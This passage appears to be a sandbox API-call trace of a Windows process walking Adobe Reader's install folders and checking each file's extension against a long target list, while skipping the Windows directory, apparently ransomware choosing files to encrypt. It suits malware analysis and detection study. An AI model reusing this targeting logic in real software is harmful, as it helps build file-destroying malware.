Size=0xfffe) returned 0x5071060 [0276.861] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\css\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0276.862] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.862] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x68c7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1 [0276.862] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x68c7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 0 [0276.862] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0276.863] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0276.863] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0276.863] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0276.863] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\images\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0276.864] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.864] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2cd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="digsig_icons.png", cAlternateFileName="DIGSIG~2.PNG")) returned 1 [0276.864] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6255, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="digsig_icons_2x.png", cAlternateFileName="DIGSIG~1.PNG")) returned 1 [0276.864] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0276.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0276.865] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\images\\themes\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0276.865] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.866] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0276.866] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\images\\themes\\dark") returned 120 [0276.866] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\images\\themes\\dark") returned 1 [0276.866] lstrlenW (lpString="dark") returned 4 [0276.866] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="dark") returned -1 [0276.866] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0276.866] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\images\\themes\\dark") returned 120 [0276.866] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\images\\themes\\dark\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0276.866] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.866] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="digsig_icons.png", cAlternateFileName="DIGSIG~2.PNG")) returned 1 [0276.866] lstrlenW (lpString="digsig_icons.png") returned 16 [0276.867] lstrlenW (lpString=".1cd") returned 4 [0276.867] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0276.867] lstrlenW (lpString=".3ds") returned 4 [0276.867] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0276.867] lstrlenW (lpString=".3fr") returned 4 [0276.867] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0276.867] lstrlenW (lpString=".3g2") returned 4 [0276.867] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0276.867] lstrlenW (lpString=".3gp") returned 4 [0276.867] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0276.867] lstrlenW (lpString=".7z") returned 3 [0276.867] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0276.867] lstrlenW (lpString=".accda") returned 6 [0276.867] lstrcmpiW (lpString1=".accda", lpString2="ns.png") returned -1 [0276.867] lstrlenW (lpString=".accdb") returned 6 [0276.867] lstrcmpiW (lpString1=".accdb", lpString2="ns.png") returned -1 [0276.867] lstrlenW (lpString=".accdc") returned 6 [0276.867] lstrcmpiW (lpString1=".accdc", lpString2="ns.png") returned -1 [0276.867] lstrlenW (lpString=".accde") returned 6 [0276.867] lstrcmpiW (lpString1=".accde", lpString2="ns.png") returned -1 [0276.867] lstrlenW (lpString=".accdt") returned 6 [0276.867] lstrcmpiW (lpString1=".accdt", lpString2="ns.png") returned -1 [0276.867] lstrlenW (lpString=".accdw") returned 6 [0276.867] lstrcmpiW (lpString1=".accdw", lpString2="ns.png") returned -1 [0276.867] lstrlenW (lpString=".adb") returned 4 [0276.867] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0276.867] lstrlenW (lpString=".adp") returned 4 [0276.867] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0276.867] lstrlenW (lpString=".ai") returned 3 [0276.867] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0276.867] lstrlenW (lpString=".ai3") returned 4 [0276.867] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0276.868] lstrlenW (lpString=".ai4") returned 4 [0276.868] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0276.868] lstrlenW (lpString=".ai5") returned 4 [0276.868] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0276.868] lstrlenW (lpString=".ai6") returned 4 [0276.868] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0276.868] lstrlenW (lpString=".ai7") returned 4 [0276.868] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0276.868] lstrlenW (lpString=".ai8") returned 4 [0276.868] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0276.868] lstrlenW (lpString=".anim") returned 5 [0276.868] lstrcmpiW (lpString1=".anim", lpString2="s.png") returned -1 [0276.868] lstrlenW (lpString=".arw") returned 4 [0276.868] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0276.868] lstrlenW (lpString=".as") returned 3 [0276.868] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0276.868] lstrlenW (lpString=".asa") returned 4 [0276.868] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0276.868] lstrlenW (lpString=".asc") returned 4 [0276.868] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0276.868] lstrlenW (lpString=".ascx") returned 5 [0276.868] lstrcmpiW (lpString1=".ascx", lpString2="s.png") returned -1 [0276.868] lstrlenW (lpString=".asm") returned 4 [0276.868] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0276.868] lstrlenW (lpString=".asmx") returned 5 [0276.868] lstrcmpiW (lpString1=".asmx", lpString2="s.png") returned -1 [0276.868] lstrlenW (lpString=".asp") returned 4 [0276.868] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0276.868] lstrlenW (lpString=".aspx") returned 5 [0276.868] lstrcmpiW (lpString1=".aspx", lpString2="s.png") returned -1 [0276.868] lstrlenW (lpString=".asr") returned 4 [0276.868] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0276.869] lstrlenW (lpString=".asx") returned 4 [0276.869] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0276.869] lstrlenW (lpString=".avi") returned 4 [0276.869] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0276.869] lstrlenW (lpString=".avs") returned 4 [0276.869] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0276.869] lstrlenW (lpString=".backup") returned 7 [0276.869] lstrcmpiW (lpString1=".backup", lpString2="ons.png") returned -1 [0276.869] lstrlenW (lpString=".bak") returned 4 [0276.869] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0276.869] lstrlenW (lpString=".bay") returned 4 [0276.869] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0276.869] lstrlenW (lpString=".bd") returned 3 [0276.869] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0276.869] lstrlenW (lpString=".bin") returned 4 [0276.869] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0276.869] lstrlenW (lpString=".bmp") returned 4 [0276.869] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0276.869] lstrlenW (lpString=".bz2") returned 4 [0276.869] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0276.869] lstrlenW (lpString=".c") returned 2 [0276.869] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0276.869] lstrlenW (lpString=".cdr") returned 4 [0276.869] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0276.869] lstrlenW (lpString=".cer") returned 4 [0276.869] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0276.869] lstrlenW (lpString=".cf") returned 3 [0276.869] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0276.870] lstrlenW (lpString=".cfc") returned 4 [0276.870] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0276.870] lstrlenW (lpString=".cfm") returned 4 [0276.870] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0276.870] lstrlenW (lpString=".cfml") returned 5 [0276.870] lstrcmpiW (lpString1=".cfml", lpString2="s.png") returned -1 [0276.870] lstrlenW (lpString=".cfu") returned 4 [0276.870] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0276.870] lstrlenW (lpString=".chm") returned 4 [0276.870] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0276.870] lstrlenW (lpString=".cin") returned 4 [0276.870] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0276.870] lstrlenW (lpString=".class") returned 6 [0276.870] lstrcmpiW (lpString1=".class", lpString2="ns.png") returned -1 [0276.870] lstrlenW (lpString=".clx") returned 4 [0276.870] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0276.870] lstrlenW (lpString=".config") returned 7 [0276.870] lstrcmpiW (lpString1=".config", lpString2="ons.png") returned -1 [0276.870] lstrlenW (lpString=".cpp") returned 4 [0276.870] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0276.870] lstrlenW (lpString=".cr2") returned 4 [0276.870] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0276.870] lstrlenW (lpString=".crt") returned 4 [0276.870] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0276.870] lstrlenW (lpString=".crw") returned 4 [0276.870] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".cs") returned 3 [0276.871] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0276.871] lstrlenW (lpString=".css") returned 4 [0276.871] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".csv") returned 4 [0276.871] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".cub") returned 4 [0276.871] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".dae") returned 4 [0276.871] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".dat") returned 4 [0276.871] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".db") returned 3 [0276.871] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0276.871] lstrlenW (lpString=".dbf") returned 4 [0276.871] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".dbx") returned 4 [0276.871] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".dc3") returned 4 [0276.871] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".dcm") returned 4 [0276.871] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".dcr") returned 4 [0276.871] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".der") returned 4 [0276.871] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".dib") returned 4 [0276.871] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".dic") returned 4 [0276.871] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0276.871] lstrlenW (lpString=".dif") returned 4 [0276.871] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0276.872] lstrlenW (lpString=".divx") returned 5 [0276.872] lstrcmpiW (lpString1=".divx", lpString2="s.png") returned -1 [0276.872] lstrlenW (lpString=".djvu") returned 5 [0276.872] lstrcmpiW (lpString1=".djvu", lpString2="s.png") returned -1 [0276.872] lstrlenW (lpString=".dng") returned 4 [0276.872] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0276.872] lstrlenW (lpString=".doc") returned 4 [0276.872] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0276.872] lstrlenW (lpString=".docm") returned 5 [0276.872] lstrcmpiW (lpString1=".docm", lpString2="s.png") returned -1 [0276.872] lstrlenW (lpString=".docx") returned 5 [0276.872] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0276.872] lstrlenW (lpString=".dot") returned 4 [0276.872] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0276.872] lstrlenW (lpString=".dotm") returned 5 [0276.872] lstrcmpiW (lpString1=".dotm", lpString2="s.png") returned -1 [0276.872] lstrlenW (lpString=".dotx") returned 5 [0276.872] lstrcmpiW (lpString1=".dotx", lpString2="s.png") returned -1 [0276.872] lstrlenW (lpString=".dpx") returned 4 [0276.872] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0276.872] lstrlenW (lpString=".dqy") returned 4 [0276.872] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0276.872] lstrlenW (lpString=".dsn") returned 4 [0276.872] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0276.872] lstrlenW (lpString=".dt") returned 3 [0276.872] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0276.872] lstrlenW (lpString=".dtd") returned 4 [0276.872] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0276.872] lstrlenW (lpString=".dwg") returned 4 [0276.872] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0276.872] lstrlenW (lpString=".dwt") returned 4 [0276.873] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0276.873] lstrlenW (lpString=".dx") returned 3 [0276.873] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0276.873] lstrlenW (lpString=".dxf") returned 4 [0276.873] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0276.873] lstrlenW (lpString=".edml") returned 5 [0276.873] lstrcmpiW (lpString1=".edml", lpString2="s.png") returned -1 [0276.873] lstrlenW (lpString=".efd") returned 4 [0276.873] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0276.873] lstrlenW (lpString=".elf") returned 4 [0276.873] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0276.873] lstrlenW (lpString=".emf") returned 4 [0276.873] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0276.873] lstrlenW (lpString=".emz") returned 4 [0276.873] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0276.873] lstrlenW (lpString=".epf") returned 4 [0276.873] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0276.873] lstrlenW (lpString=".eps") returned 4 [0276.873] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0276.873] lstrlenW (lpString=".epsf") returned 5 [0276.873] lstrcmpiW (lpString1=".epsf", lpString2="s.png") returned -1 [0276.873] lstrlenW (lpString=".epsp") returned 5 [0276.873] lstrcmpiW (lpString1=".epsp", lpString2="s.png") returned -1 [0276.873] lstrlenW (lpString=".erf") returned 4 [0276.873] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0276.873] lstrlenW (lpString=".exr") returned 4 [0276.873] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0276.873] lstrlenW (lpString=".f4v") returned 4 [0276.873] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0276.873] lstrlenW (lpString=".fido") returned 5 [0276.873] lstrcmpiW (lpString1=".fido", lpString2="s.png") returned -1 [0276.874] lstrlenW (lpString=".flm") returned 4 [0276.874] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0276.874] lstrlenW (lpString=".flv") returned 4 [0276.874] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0276.874] lstrlenW (lpString=".frm") returned 4 [0276.874] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0276.874] lstrlenW (lpString=".fxg") returned 4 [0276.874] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0276.874] lstrlenW (lpString=".geo") returned 4 [0276.874] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0276.874] lstrlenW (lpString=".gif") returned 4 [0276.874] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0276.874] lstrlenW (lpString=".grs") returned 4 [0276.874] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0276.874] lstrlenW (lpString=".gz") returned 3 [0276.874] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0276.874] lstrlenW (lpString=".h") returned 2 [0276.874] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0276.874] lstrlenW (lpString=".hdr") returned 4 [0276.874] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0276.874] lstrlenW (lpString=".hpp") returned 4 [0276.874] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0276.874] lstrlenW (lpString=".hta") returned 4 [0276.874] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0276.874] lstrlenW (lpString=".htc") returned 4 [0276.874] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0276.874] lstrlenW (lpString=".htm") returned 4 [0276.874] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0276.874] lstrlenW (lpString=".html") returned 5 [0276.874] lstrcmpiW (lpString1=".html", lpString2="s.png") returned -1 [0276.874] lstrlenW (lpString=".icb") returned 4 [0276.874] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0276.874] lstrlenW (lpString=".ics") returned 4 [0276.875] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0276.875] lstrlenW (lpString=".iff") returned 4 [0276.875] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0276.875] lstrlenW (lpString=".inc") returned 4 [0276.875] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0276.875] lstrlenW (lpString=".indd") returned 5 [0276.875] lstrcmpiW (lpString1=".indd", lpString2="s.png") returned -1 [0276.875] lstrlenW (lpString=".ini") returned 4 [0276.875] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0276.875] lstrlenW (lpString=".iqy") returned 4 [0276.875] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0276.875] lstrlenW (lpString=".j2c") returned 4 [0276.875] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0276.875] lstrlenW (lpString=".j2k") returned 4 [0276.875] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0276.875] lstrlenW (lpString=".java") returned 5 [0276.875] lstrcmpiW (lpString1=".java", lpString2="s.png") returned -1 [0276.875] lstrlenW (lpString=".jp2") returned 4 [0276.875] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0276.876] lstrlenW (lpString=".jpc") returned 4 [0276.876] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0276.876] lstrlenW (lpString=".jpe") returned 4 [0276.876] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0276.876] lstrlenW (lpString=".jpeg") returned 5 [0276.876] lstrcmpiW (lpString1=".jpeg", lpString2="s.png") returned -1 [0276.876] lstrlenW (lpString=".jpf") returned 4 [0276.876] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0276.876] lstrlenW (lpString=".jpg") returned 4 [0276.876] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0276.876] lstrlenW (lpString=".jpx") returned 4 [0276.876] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0276.876] lstrlenW (lpString=".js") returned 3 [0276.876] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0276.876] lstrlenW (lpString=".jsf") returned 4 